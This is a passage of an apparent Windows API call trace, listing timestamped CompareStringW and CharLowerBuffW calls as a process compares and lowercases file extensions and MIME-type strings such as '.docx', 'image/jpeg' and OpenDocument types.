CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odf=application/vnd.oasis.opendocument.formula", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odg=application/vnd.oasis.opendocument.graphics", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odi=application/vnd.oasis.opendocument.image", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odm=application/vnd.oasis.opendocument.text-master", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odp=application/vnd.oasis.opendocument.presentation", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ods=application/vnd.oasis.opendocument.spreadsheet", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ogg=application/ogg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odt=application/vnd.oasis.opendocument.text", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".otg=application/vnd.oasis.opendocument.graphics-template", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".oth=application/vnd.oasis.opendocument.text-web", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".otp=application/vnd.oasis.opendocument.presentation-template", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ots=application/vnd.oasis.opendocument.spreadsheet-template", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ott=application/vnd.oasis.opendocument.text-template", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".p10=application/pkcs10", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".p12=application/x-pkcs12", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".p7b=application/x-pkcs7-certificates", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".p7m=application/pkcs7-mime", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".p7r=application/x-pkcs7-certreqresp", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".p7s=application/pkcs7-signature", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".package=application/vnd.autopackage", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pfr=application/font-tdpfr", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pkg=vnd.apple.installer+xml", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pdf=application/pdf", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pko=application/vnd.ms-pki.pko", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pl=application/x-perl", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pnq=application/x-icq-pnq", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pot=application/mspowerpoint", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pps=application/mspowerpoint", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ppt=application/mspowerpoint", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ppz=application/mspowerpoint", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ps=application/postscript", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pub=application/x-mspublisher", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".qpw=application/x-quattropro", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.903] CharLowerBuffW (in: lpsz="video/3gpp", cchLength=0xa | out: lpsz="video/3gpp") returned 0xa [0119.903] CharLowerBuffW (in: lpsz=".3gp", cchLength=0x4 | out: lpsz=".3gp") returned 0x4 [0119.903] CharLowerBuffW (in: lpsz="video/3gpp2", cchLength=0xb | out: lpsz="video/3gpp2") returned 0xb [0119.903] CharLowerBuffW (in: lpsz=".3gp2", cchLength=0x5 | out: lpsz=".3gp2") returned 0x5 [0119.903] CharLowerBuffW (in: lpsz="video/3gpp", cchLength=0xa | out: lpsz="video/3gpp") returned 0xa [0119.903] CharLowerBuffW (in: lpsz=".3gpp", cchLength=0x5 | out: lpsz=".3gpp") returned 0x5 [0119.904] CharLowerBuffW (in: lpsz="audio/vnd.dlna.adts", cchLength=0x13 | out: lpsz="audio/vnd.dlna.adts") returned 0x13 [0119.904] CharLowerBuffW (in: lpsz=".AAC", cchLength=0x4 | out: lpsz=".aac") returned 0x4 [0119.904] CharLowerBuffW (in: lpsz="application/msaccess.addin", cchLength=0x1a | out: lpsz="application/msaccess.addin") returned 0x1a [0119.904] CharLowerBuffW (in: lpsz=".accda", cchLength=0x6 | out: lpsz=".accda") returned 0x6 [0119.904] CharLowerBuffW (in: lpsz="application/msaccess", cchLength=0x14 | out: lpsz="application/msaccess") returned 0x14 [0119.904] CharLowerBuffW (in: lpsz=".accdb", cchLength=0x6 | out: lpsz=".accdb") returned 0x6 [0119.904] CharLowerBuffW (in: lpsz="application/msaccess.cab", cchLength=0x18 | out: lpsz="application/msaccess.cab") returned 0x18 [0119.904] CharLowerBuffW (in: lpsz=".accdc", cchLength=0x6 | out: lpsz=".accdc") returned 0x6 [0119.904] CharLowerBuffW (in: lpsz="application/msaccess.exec", cchLength=0x19 | out: lpsz="application/msaccess.exec") returned 0x19 [0119.904] CharLowerBuffW (in: lpsz=".accde", cchLength=0x6 | out: lpsz=".accde") returned 0x6 [0119.904] CharLowerBuffW (in: lpsz="application/msaccess.runtime", cchLength=0x1c | out: lpsz="application/msaccess.runtime") returned 0x1c [0119.904] CharLowerBuffW (in: lpsz=".accdr", cchLength=0x6 | out: lpsz=".accdr") returned 0x6 [0119.905] CharLowerBuffW (in: lpsz="application/msaccess.template", cchLength=0x1d | out: lpsz="application/msaccess.template") returned 0x1d [0119.905] CharLowerBuffW (in: lpsz=".accdt", cchLength=0x6 | out: lpsz=".accdt") returned 0x6 [0119.905] CharLowerBuffW (in: lpsz="application/msaccess.webapplication", cchLength=0x23 | out: lpsz="application/msaccess.webapplication") returned 0x23 [0119.905] CharLowerBuffW (in: lpsz=".accdw", cchLength=0x6 | out: lpsz=".accdw") returned 0x6 [0119.905] CharLowerBuffW (in: lpsz="application/msaccess.ftemplate", cchLength=0x1e | out: lpsz="application/msaccess.ftemplate") returned 0x1e [0119.905] CharLowerBuffW (in: lpsz=".accft", cchLength=0x6 | out: lpsz=".accft") returned 0x6 [0119.905] CharLowerBuffW (in: lpsz="application/vnd.adobe.acrobat-security-settings", cchLength=0x2f | out: lpsz="application/vnd.adobe.acrobat-security-settings") returned 0x2f [0119.905] CharLowerBuffW (in: lpsz=".acrobatsecuritysettings", cchLength=0x18 | out: lpsz=".acrobatsecuritysettings") returned 0x18 [0119.905] CharLowerBuffW (in: lpsz="application/msaccess", cchLength=0x14 | out: lpsz="application/msaccess") returned 0x14 [0119.905] CharLowerBuffW (in: lpsz=".ade", cchLength=0x4 | out: lpsz=".ade") returned 0x4 [0119.905] CharLowerBuffW (in: lpsz="application/msaccess", cchLength=0x14 | out: lpsz="application/msaccess") returned 0x14 [0119.906] CharLowerBuffW (in: lpsz=".adp", cchLength=0x4 | out: lpsz=".adp") returned 0x4 [0119.906] CharLowerBuffW (in: lpsz="audio/vnd.dlna.adts", cchLength=0x13 | out: lpsz="audio/vnd.dlna.adts") returned 0x13 [0119.906] CharLowerBuffW (in: lpsz=".ADT", cchLength=0x4 | out: lpsz=".adt") returned 0x4 [0119.906] CharLowerBuffW (in: lpsz="audio/vnd.dlna.adts", cchLength=0x13 | out: lpsz="audio/vnd.dlna.adts") returned 0x13 [0119.906] CharLowerBuffW (in: lpsz=".ADTS", cchLength=0x5 | out: lpsz=".adts") returned 0x5 [0119.906] CharLowerBuffW (in: lpsz="application/postscript", cchLength=0x16 | out: lpsz="application/postscript") returned 0x16 [0119.906] CharLowerBuffW (in: lpsz=".ai", cchLength=0x3 | out: lpsz=".ai") returned 0x3 [0119.906] CharLowerBuffW (in: lpsz="audio/aiff", cchLength=0xa | out: lpsz="audio/aiff") returned 0xa [0119.906] CharLowerBuffW (in: lpsz=".aif", cchLength=0x4 | out: lpsz=".aif") returned 0x4 [0119.906] CharLowerBuffW (in: lpsz="audio/aiff", cchLength=0xa | out: lpsz="audio/aiff") returned 0xa [0119.906] CharLowerBuffW (in: lpsz=".aifc", cchLength=0x5 | out: lpsz=".aifc") returned 0x5 [0119.906] CharLowerBuffW (in: lpsz="audio/aiff", cchLength=0xa | out: lpsz="audio/aiff") returned 0xa [0119.907] CharLowerBuffW (in: lpsz=".aiff", cchLength=0x5 | out: lpsz=".aiff") returned 0x5 [0119.907] CharLowerBuffW (in: lpsz="application/x-ms-application", cchLength=0x1c | out: lpsz="application/x-ms-application") returned 0x1c [0119.907] CharLowerBuffW (in: lpsz=".application", cchLength=0xc | out: lpsz=".application") returned 0xc [0119.907] CharLowerBuffW (in: lpsz="video/x-ms-asf", cchLength=0xe | out: lpsz="video/x-ms-asf") returned 0xe [0119.907] CharLowerBuffW (in: lpsz=".asf", cchLength=0x4 | out: lpsz=".asf") returned 0x4 [0119.907] CharLowerBuffW (in: lpsz="video/x-ms-asf", cchLength=0xe | out: lpsz="video/x-ms-asf") returned 0xe [0119.907] CharLowerBuffW (in: lpsz=".asx", cchLength=0x4 | out: lpsz=".asx") returned 0x4 [0119.907] CharLowerBuffW (in: lpsz="audio/basic", cchLength=0xb | out: lpsz="audio/basic") returned 0xb [0119.907] CharLowerBuffW (in: lpsz=".au", cchLength=0x3 | out: lpsz=".au") returned 0x3 [0119.908] CharLowerBuffW (in: lpsz="video/avi", cchLength=0x9 | out: lpsz="video/avi") returned 0x9 [0119.908] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0119.908] CharLowerBuffW (in: lpsz="image/bmp", cchLength=0x9 | out: lpsz="image/bmp") returned 0x9 [0119.908] CharLowerBuffW (in: lpsz=".bmp", cchLength=0x4 | out: lpsz=".bmp") returned 0x4 [0119.908] CharLowerBuffW (in: lpsz="application/vnd.ms-pki.seccat", cchLength=0x1d | out: lpsz="application/vnd.ms-pki.seccat") returned 0x1d [0119.908] CharLowerBuffW (in: lpsz=".cat", cchLength=0x4 | out: lpsz=".cat") returned 0x4 [0119.908] CharLowerBuffW (in: lpsz="application/x-x509-ca-cert", cchLength=0x1a | out: lpsz="application/x-x509-ca-cert") returned 0x1a [0119.908] CharLowerBuffW (in: lpsz=".cer", cchLength=0x4 | out: lpsz=".cer") returned 0x4 [0119.909] CharLowerBuffW (in: lpsz="text/x-ms-contact", cchLength=0x11 | out: lpsz="text/x-ms-contact") returned 0x11 [0119.909] CharLowerBuffW (in: lpsz=".contact", cchLength=0x8 | out: lpsz=".contact") returned 0x8 [0119.909] CharLowerBuffW (in: lpsz="application/pkix-crl", cchLength=0x14 | out: lpsz="application/pkix-crl") returned 0x14 [0119.909] CharLowerBuffW (in: lpsz=".crl", cchLength=0x4 | out: lpsz=".crl") returned 0x4 [0119.909] CharLowerBuffW (in: lpsz="application/x-x509-ca-cert", cchLength=0x1a | out: lpsz="application/x-x509-ca-cert") returned 0x1a [0119.909] CharLowerBuffW (in: lpsz=".crt", cchLength=0x4 | out: lpsz=".crt") returned 0x4 [0119.909] CharLowerBuffW (in: lpsz="text/css", cchLength=0x8 | out: lpsz="text/css") returned 0x8 [0119.910] CharLowerBuffW (in: lpsz=".css", cchLength=0x4 | out: lpsz=".css") returned 0x4 [0119.910] CharLowerBuffW (in: lpsz="application/vnd.ms-excel", cchLength=0x18 | out: lpsz="application/vnd.ms-excel") returned 0x18 [0119.910] CharLowerBuffW (in: lpsz=".csv", cchLength=0x4 | out: lpsz=".csv") returned 0x4 [0119.910] CharLowerBuffW (in: lpsz="application/x-x509-ca-cert", cchLength=0x1a | out: lpsz="application/x-x509-ca-cert") returned 0x1a [0119.910] CharLowerBuffW (in: lpsz=".der", cchLength=0x4 | out: lpsz=".der") returned 0x4 [0119.910] CharLowerBuffW (in: lpsz="image/bmp", cchLength=0x9 | out: lpsz="image/bmp") returned 0x9 [0119.910] CharLowerBuffW (in: lpsz=".dib", cchLength=0x4 | out: lpsz=".dib") returned 0x4 [0119.910] CharLowerBuffW (in: lpsz="application/x-msdownload", cchLength=0x18 | out: lpsz="application/x-msdownload") returned 0x18 [0119.911] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0119.911] CharLowerBuffW (in: lpsz="application/msword", cchLength=0x12 | out: lpsz="application/msword") returned 0x12 [0119.911] CharLowerBuffW (in: lpsz=".doc", cchLength=0x4 | out: lpsz=".doc") returned 0x4 [0119.911] CharLowerBuffW (in: lpsz="application/vnd.ms-word.document.macroEnabled.12", cchLength=0x30 | out: lpsz="application/vnd.ms-word.document.macroenabled.12") returned 0x30 [0119.911] CharLowerBuffW (in: lpsz=".docm", cchLength=0x5 | out: lpsz=".docm") returned 0x5 [0119.911] CharLowerBuffW (in: lpsz="application/vnd.openxmlformats-officedocument.wordprocessingml.document", cchLength=0x47 | out: lpsz="application/vnd.openxmlformats-officedocument.wordprocessingml.document") returned 0x47 [0119.911] CharLowerBuffW (in: lpsz=".docx", cchLength=0x5 | out: lpsz=".docx") returned 0x5 [0119.911] CharLowerBuffW (in: lpsz="application/msword", cchLength=0x12 | out: lpsz="application/msword") returned 0x12 [0119.911] CharLowerBuffW (in: lpsz=".dot", cchLength=0x4 | out: lpsz=".dot") returned 0x4 [0119.911] CharLowerBuffW (in: lpsz="application/vnd.ms-word.template.macroEnabled.12", cchLength=0x30 | out: lpsz="application/vnd.ms-word.template.macroenabled.12") returned 0x30 [0119.911] CharLowerBuffW (in: lpsz=".dotm", cchLength=0x5 | out: lpsz=".dotm") returned 0x5 [0119.911] CharLowerBuffW (in: lpsz="application/vnd.openxmlformats-officedocument.wordprocessingml.template", cchLength=0x47 | out: lpsz="application/vnd.openxmlformats-officedocument.wordprocessingml.template") returned 0x47 [0119.912] CharLowerBuffW (in: lpsz=".dotx", cchLength=0x5 | out: lpsz=".dotx") returned 0x5 [0119.912] CharLowerBuffW (in: lpsz="model/vnd.dwfx+xps", cchLength=0x12 | out: lpsz="model/vnd.dwfx+xps") returned 0x12 [0119.912] CharLowerBuffW (in: lpsz=".dwfx", cchLength=0x5 | out: lpsz=".dwfx") returned 0x5 [0119.912] CharLowerBuffW (in: lpsz="model/vnd.easmx+xps", cchLength=0x13 | out: lpsz="model/vnd.easmx+xps") returned 0x13 [0119.912] CharLowerBuffW (in: lpsz=".easmx", cchLength=0x6 | out: lpsz=".easmx") returned 0x6 [0119.912] CharLowerBuffW (in: lpsz="model/vnd.edrwx+xps", cchLength=0x13 | out: lpsz="model/vnd.edrwx+xps") returned 0x13 [0119.912] CharLowerBuffW (in: lpsz=".edrwx", cchLength=0x6 | out: lpsz=".edrwx") returned 0x6 [0119.912] CharLowerBuffW (in: lpsz="model/vnd.eprtx+xps", cchLength=0x13 | out: lpsz="model/vnd.eprtx+xps") returned 0x13 [0119.912] CharLowerBuffW (in: lpsz=".eprtx", cchLength=0x6 | out: lpsz=".eprtx") returned 0x6 [0119.913] CharLowerBuffW (in: lpsz="application/postscript", cchLength=0x16 | out: lpsz="application/postscript") returned 0x16 [0119.913] CharLowerBuffW (in: lpsz=".eps", cchLength=0x4 | out: lpsz=".eps") returned 0x4 [0119.913] CharLowerBuffW (in: lpsz="application/x-msdownload", cchLength=0x18 | out: lpsz="application/x-msdownload") returned 0x18 [0119.913] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0119.913] CharLowerBuffW (in: lpsz="application/vnd.fdf", cchLength=0x13 | out: lpsz="application/vnd.fdf") returned 0x13 [0119.913] CharLowerBuffW (in: lpsz=".fdf", cchLength=0x4 | out: lpsz=".fdf") returned 0x4 [0119.913] CharLowerBuffW (in: lpsz="application/fractals", cchLength=0x14 | out: lpsz="application/fractals") returned 0x14 [0119.913] CharLowerBuffW (in: lpsz=".fif", cchLength=0x4 | out: lpsz=".fif") returned 0x4 [0119.914] CharLowerBuffW (in: lpsz="image/gif", cchLength=0x9 | out: lpsz="image/gif") returned 0x9 [0119.914] CharLowerBuffW (in: lpsz=".gif", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0119.914] CharLowerBuffW (in: lpsz="text/x-ms-group", cchLength=0xf | out: lpsz="text/x-ms-group") returned 0xf [0119.914] CharLowerBuffW (in: lpsz=".group", cchLength=0x6 | out: lpsz=".group") returned 0x6 [0119.914] CharLowerBuffW (in: lpsz="application/vnd.groove-injector", cchLength=0x1f | out: lpsz="application/vnd.groove-injector") returned 0x1f [0119.914] CharLowerBuffW (in: lpsz=".grv", cchLength=0x4 | out: lpsz=".grv") returned 0x4 [0119.914] CharLowerBuffW (in: lpsz="application/x-gzip", cchLength=0x12 | out: lpsz="application/x-gzip") returned 0x12 [0119.914] CharLowerBuffW (in: lpsz=".gz", cchLength=0x3 | out: lpsz=".gz") returned 0x3 [0119.915] CharLowerBuffW (in: lpsz="application/mac-binhex40", cchLength=0x18 | out: lpsz="application/mac-binhex40") returned 0x18 [0119.915] CharLowerBuffW (in: lpsz=".hqx", cchLength=0x4 | out: lpsz=".hqx") returned 0x4 [0119.915] CharLowerBuffW (in: lpsz="application/hta", cchLength=0xf | out: lpsz="application/hta") returned 0xf [0119.915] CharLowerBuffW (in: lpsz=".hta", cchLength=0x4 | out: lpsz=".hta") returned 0x4 [0119.915] CharLowerBuffW (in: lpsz="text/x-component", cchLength=0x10 | out: lpsz="text/x-component") returned 0x10 [0119.915] CharLowerBuffW (in: lpsz=".htc", cchLength=0x4 | out: lpsz=".htc") returned 0x4 [0119.916] CharLowerBuffW (in: lpsz="text/html", cchLength=0x9 | out: lpsz="text/html") returned 0x9 [0119.916] CharLowerBuffW (in: lpsz=".htm", cchLength=0x4 | out: lpsz=".htm") returned 0x4 [0119.916] CharLowerBuffW (in: lpsz="text/html", cchLength=0x9 | out: lpsz="text/html") returned 0x9 [0119.916] CharLowerBuffW (in: lpsz=".html", cchLength=0x5 | out: lpsz=".html") returned 0x5 [0119.916] CharLowerBuffW (in: lpsz="application/xml", cchLength=0xf | out: lpsz="application/xml") returned 0xf [0119.916] CharLowerBuffW (in: lpsz=".hxa", cchLength=0x4 | out: lpsz=".hxa") returned 0x4 [0119.916] CharLowerBuffW (in: lpsz="application/xml", cchLength=0xf | out: lpsz="application/xml") returned 0xf [0119.916] CharLowerBuffW (in: lpsz=".hxc", cchLength=0x4 | out: lpsz=".hxc") returned 0x4 [0119.917] CharLowerBuffW (in: lpsz="application/octet-stream", cchLength=0x18 | out: lpsz="application/octet-stream") returned 0x18 [0119.917] CharLowerBuffW (in: lpsz=".hxd", cchLength=0x4 | out: lpsz=".hxd") returned 0x4 [0119.917] CharLowerBuffW (in: lpsz="application/xml", cchLength=0xf | out: lpsz="application/xml") returned 0xf [0119.917] CharLowerBuffW (in: lpsz=".hxe", cchLength=0x4 | out: lpsz=".hxe") returned 0x4 [0119.917] CharLowerBuffW (in: lpsz="application/xml", cchLength=0xf | out: lpsz="application/xml") returned 0xf [0119.917] CharLowerBuffW (in: lpsz=".hxf", cchLength=0x4 | out: lpsz=".hxf") returned 0x4 [0119.917] CharLowerBuffW (in: lpsz="application/octet-stream", cchLength=0x18 | out: lpsz="application/octet-stream") returned 0x18 [0119.917] CharLowerBuffW (in: lpsz=".hxh", cchLength=0x4 | out: lpsz=".hxh") returned 0x4 [0119.917] CharLowerBuffW (in: lpsz="application/octet-stream", cchLength=0x18 | out: lpsz="application/octet-stream") returned 0x18 [0119.917] CharLowerBuffW (in: lpsz=".hxi", cchLength=0x4 | out: lpsz=".hxi") returned 0x4 [0119.917] CharLowerBuffW (in: lpsz="application/xml", cchLength=0xf | out: lpsz="application/xml") returned 0xf [0119.917] CharLowerBuffW (in: lpsz=".hxk", cchLength=0x4 | out: lpsz=".hxk") returned 0x4 [0119.917] CharLowerBuffW (in: lpsz="application/octet-stream", cchLength=0x18 | out: lpsz="application/octet-stream") returned 0x18 [0119.917] CharLowerBuffW (in: lpsz=".hxq", cchLength=0x4 | out: lpsz=".hxq") returned 0x4 [0119.918] CharLowerBuffW (in: lpsz="application/octet-stream", cchLength=0x18 | out: lpsz="application/octet-stream") returned 0x18 [0119.918] CharLowerBuffW (in: lpsz=".hxr", cchLength=0x4 | out: lpsz=".hxr") returned 0x4 [0119.918] CharLowerBuffW (in: lpsz="application/octet-stream", cchLength=0x18 | out: lpsz="application/octet-stream") returned 0x18 [0119.918] CharLowerBuffW (in: lpsz=".hxs", cchLength=0x4 | out: lpsz=".hxs") returned 0x4 [0119.918] CharLowerBuffW (in: lpsz="application/xml", cchLength=0xf | out: lpsz="application/xml") returned 0xf [0119.918] CharLowerBuffW (in: lpsz=".hxt", cchLength=0x4 | out: lpsz=".hxt") returned 0x4 [0119.918] CharLowerBuffW (in: lpsz="application/xml", cchLength=0xf | out: lpsz="application/xml") returned 0xf [0119.918] CharLowerBuffW (in: lpsz=".hxv", cchLength=0x4 | out: lpsz=".hxv") returned 0x4 [0119.918] CharLowerBuffW (in: lpsz="application/octet-stream", cchLength=0x18 | out: lpsz="application/octet-stream") returned 0x18 [0119.918] CharLowerBuffW (in: lpsz=".hxw", cchLength=0x4 | out: lpsz=".hxw") returned 0x4 [0119.918] CharLowerBuffW (in: lpsz="image/x-icon", cchLength=0xc | out: lpsz="image/x-icon") returned 0xc [0119.918] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0119.919] CharLowerBuffW (in: lpsz="text/calendar", cchLength=0xd | out: lpsz="text/calendar") returned 0xd [0119.919] CharLowerBuffW (in: lpsz=".ics", cchLength=0x4 | out: lpsz=".ics") returned 0x4 [0119.919] CharLowerBuffW (in: lpsz="application/ms-infopath.xml", cchLength=0x1b | out: lpsz="application/ms-infopath.xml") returned 0x1b [0119.919] CharLowerBuffW (in: lpsz=".infopathxml", cchLength=0xc | out: lpsz=".infopathxml") returned 0xc [0119.919] CharLowerBuffW (in: lpsz="text/x-ms-iqy", cchLength=0xd | out: lpsz="text/x-ms-iqy") returned 0xd [0119.919] CharLowerBuffW (in: lpsz=".iqy", cchLength=0x4 | out: lpsz=".iqy") returned 0x4 [0119.919] CharLowerBuffW (in: lpsz="image/jpeg", cchLength=0xa | out: lpsz="image/jpeg") returned 0xa [0119.919] CharLowerBuffW (in: lpsz=".jfif", cchLength=0x5 | out: lpsz=".jfif") returned 0x5 [0119.920] CharLowerBuffW (in: lpsz="application/x-java-jnlp-file", cchLength=0x1c | out: lpsz="application/x-java-jnlp-file") returned 0x1c [0119.920] CharLowerBuffW (in: lpsz=".jnlp", cchLength=0x5 | out: lpsz=".jnlp") returned 0x5 [0119.920] CharLowerBuffW (in: lpsz="image/jpeg", cchLength=0xa | out: lpsz="image/jpeg") returned 0xa [0119.920] CharLowerBuffW (in: lpsz=".jpe", cchLength=0x4 | out: lpsz=".jpe") returned 0x4 [0119.920] CharLowerBuffW (in: lpsz="image/jpeg", cchLength=0xa | out: lpsz="image/jpeg") returned 0xa [0119.920] CharLowerBuffW (in: lpsz=".jpeg", cchLength=0x5 | out: lpsz=".jpeg") returned 0x5 [0119.920] CharLowerBuffW (in: lpsz="image/jpeg", cchLength=0xa | out: lpsz="image/jpeg") returned 0xa [0119.920] CharLowerBuffW (in: lpsz=".jpg", cchLength=0x4 | out: lpsz=".jpg") returned 0x4 [0119.920] CharLowerBuffW (in: lpsz="application/x-jtx+xps", cchLength=0x15 | out: lpsz="application/x-jtx+xps") returned 0x15 [0119.920] CharLowerBuffW (in: lpsz=".jtx", cchLength=0x4 | out: lpsz=".jtx") returned 0x4 [0119.921] CharLowerBuffW (in: lpsz="application/x-latex", cchLength=0x13 | out: lpsz="application/x-latex") returned 0x13 [0119.921] CharLowerBuffW (in: lpsz=".latex", cchLength=0x6 | out: lpsz=".latex") returned 0x6 [0119.921] CharLowerBuffW (in: lpsz="application/windows-library+xml", cchLength=0x1f | out: lpsz="application/windows-library+xml") returned 0x1f [0119.921] CharLowerBuffW (in: lpsz=".library-ms", cchLength=0xb | out: lpsz=".library-ms") returned 0xb [0119.921] CharLowerBuffW (in: lpsz="video/mpeg", cchLength=0xa | out: lpsz="video/mpeg") returned 0xa [0119.921] CharLowerBuffW (in: lpsz=".m1v", cchLength=0x4 | out: lpsz=".m1v") returned 0x4 [0119.921] CharLowerBuffW (in: lpsz="video/vnd.dlna.mpeg-tts", cchLength=0x17 | out: lpsz="video/vnd.dlna.mpeg-tts") returned 0x17 [0119.921] CharLowerBuffW (in: lpsz=".M2T", cchLength=0x4 | out: lpsz=".m2t") returned 0x4 [0119.921] CharLowerBuffW (in: lpsz="video/vnd.dlna.mpeg-tts", cchLength=0x17 | out: lpsz="video/vnd.dlna.mpeg-tts") returned 0x17 [0119.921] CharLowerBuffW (in: lpsz=".M2TS", cchLength=0x5 | out: lpsz=".m2ts") returned 0x5 [0119.921] CharLowerBuffW (in: lpsz="video/mpeg", cchLength=0xa | out: lpsz="video/mpeg") returned 0xa [0119.922] CharLowerBuffW (in: lpsz=".M2V", cchLength=0x4 | out: lpsz=".m2v") returned 0x4 [0119.922] CharLowerBuffW (in: lpsz="audio/x-mpegurl", cchLength=0xf | out: lpsz="audio/x-mpegurl") returned 0xf [0119.922] CharLowerBuffW (in: lpsz=".m3u", cchLength=0x4 | out: lpsz=".m3u") returned 0x4 [0119.922] CharLowerBuffW (in: lpsz="audio/mp4", cchLength=0x9 | out: lpsz="audio/mp4") returned 0x9 [0119.922] CharLowerBuffW (in: lpsz=".m4a", cchLength=0x4 | out: lpsz=".m4a") returned 0x4 [0119.922] CharLowerBuffW (in: lpsz="video/mp4", cchLength=0x9 | out: lpsz="video/mp4") returned 0x9 [0119.922] CharLowerBuffW (in: lpsz=".m4v", cchLength=0x4 | out: lpsz=".m4v") returned 0x4 [0119.922] CharLowerBuffW (in: lpsz="application/x-troff-man", cchLength=0x17 | out: lpsz="application/x-troff-man") returned 0x17 [0119.922] CharLowerBuffW (in: lpsz=".man", cchLength=0x4 | out: lpsz=".man") returned 0x4 [0119.923] CharLowerBuffW (in: lpsz="application/msaccess", cchLength=0x14 | out: lpsz="application/msaccess") returned 0x14 [0119.923] CharLowerBuffW (in: lpsz=".mda", cchLength=0x4 | out: lpsz=".mda") returned 0x4 [0119.923] CharLowerBuffW (in: lpsz="application/msaccess", cchLength=0x14 | out: lpsz="application/msaccess") returned 0x14 [0119.923] CharLowerBuffW (in: lpsz=".mdb", cchLength=0x4 | out: lpsz=".mdb") returned 0x4 [0119.923] CharLowerBuffW (in: lpsz="application/msaccess", cchLength=0x14 | out: lpsz="application/msaccess") returned 0x14 [0119.923] CharLowerBuffW (in: lpsz=".mde", cchLength=0x4 | out: lpsz=".mde") returned 0x4 [0119.923] CharLowerBuffW (in: lpsz="application/x-shockwave-flash", cchLength=0x1d | out: lpsz="application/x-shockwave-flash") returned 0x1d [0119.923] CharLowerBuffW (in: lpsz=".mfp", cchLength=0x4 | out: lpsz=".mfp") returned 0x4 [0119.924] CharLowerBuffW (in: lpsz="message/rfc822", cchLength=0xe | out: lpsz="message/rfc822") returned 0xe [0119.924] CharLowerBuffW (in: lpsz=".mht", cchLength=0x4 | out: lpsz=".mht") returned 0x4 [0119.924] CharLowerBuffW (in: lpsz="message/rfc822", cchLength=0xe | out: lpsz="message/rfc822") returned 0xe [0119.924] 